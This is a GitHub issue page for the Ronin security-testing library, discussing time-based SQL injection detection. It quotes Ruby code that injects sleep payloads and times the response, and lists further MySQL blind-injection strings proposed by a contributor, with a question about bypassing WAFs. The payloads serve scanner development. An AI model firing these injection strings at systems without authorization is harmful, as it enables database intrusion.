Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add additional SQLi sleep tests #45

Open
mohghezal opened this issue Aug 4, 2023 · 4 comments
Open

Add additional SQLi sleep tests #45

mohghezal opened this issue Aug 4, 2023 · 4 comments
Assignees
Labels
enhancement New feature or request sqli SQLi

Comments

@mohghezal
Copy link

add sql time

@postmodern
Copy link
Member

Ronin::Vulns::SQLI already does various SQL SLEEP(5) tests. Are you referring to a different technique?

# Various SQL sleep functions or statements.
#
# @api private
SLEEP_TESTS = [
'SLEEP(5)',
"PG_SLEEP(5)",
"WAITFOR DELAY '0:0:5'"
]
#
# Tests whether the URL is vulnerable to SQL injection, by calling SQL
# sleep functions to see if it takes longer for the response to be
# returned.
#
# @return [Boolean]
#
# @api private
#
def test_sleep
SLEEP_TESTS.each do |sql|
[sql, ";SELECT #{sql}"].each do |sqli|
start_time = Time.now
response = exploit(sqli)
stop_time = Time.now
delta = (stop_time - start_time)
# check for SQL errors first
if check_for_sql_errors(response)
return true
end
# if the response took more than 5 seconds, our SQL sleep function
# probably worked.
return true if delta > 5.0
end
end
return false
end

@mohghezal
Copy link
Author

add more
SLEEP_TESTS = [
"'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z --",
"'if(now()=sysdate(),sleep(5),0) --",
"'or(now()=sysdate()&&SLEEP(5))or'Z --",
"'|(IF((now())LIKE(sysdate()),SLEEP(5),0))|'Z --",
'SLEEP(5)',
"PG_SLEEP(5)",
"WAITFOR DELAY '0:0:5'"
]

@postmodern postmodern self-assigned this Aug 4, 2023
@postmodern postmodern added enhancement New feature or request sqli SQLi labels Aug 4, 2023
@postmodern
Copy link
Member

postmodern commented Aug 4, 2023

@mohghezal could you rewrite those without the or'Z -- suffixes, since SQLI#escape(sql) is supposed to add any termination/escaping to the given SQL. I'm not sure if the XOR/or/| at the end is required or part of the escape/termination?

@postmodern postmodern changed the title sql Add additional SQLi sleep tests Aug 5, 2023
@postmodern
Copy link
Member

@mohghezal also how are these tests better than the existing SLEEP(5) test? Are they meant to be injected into certain SQL clauses? Will these bypass WAFs?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request sqli SQLi
Projects
None yet
Development

No branches or pull requests

2 participants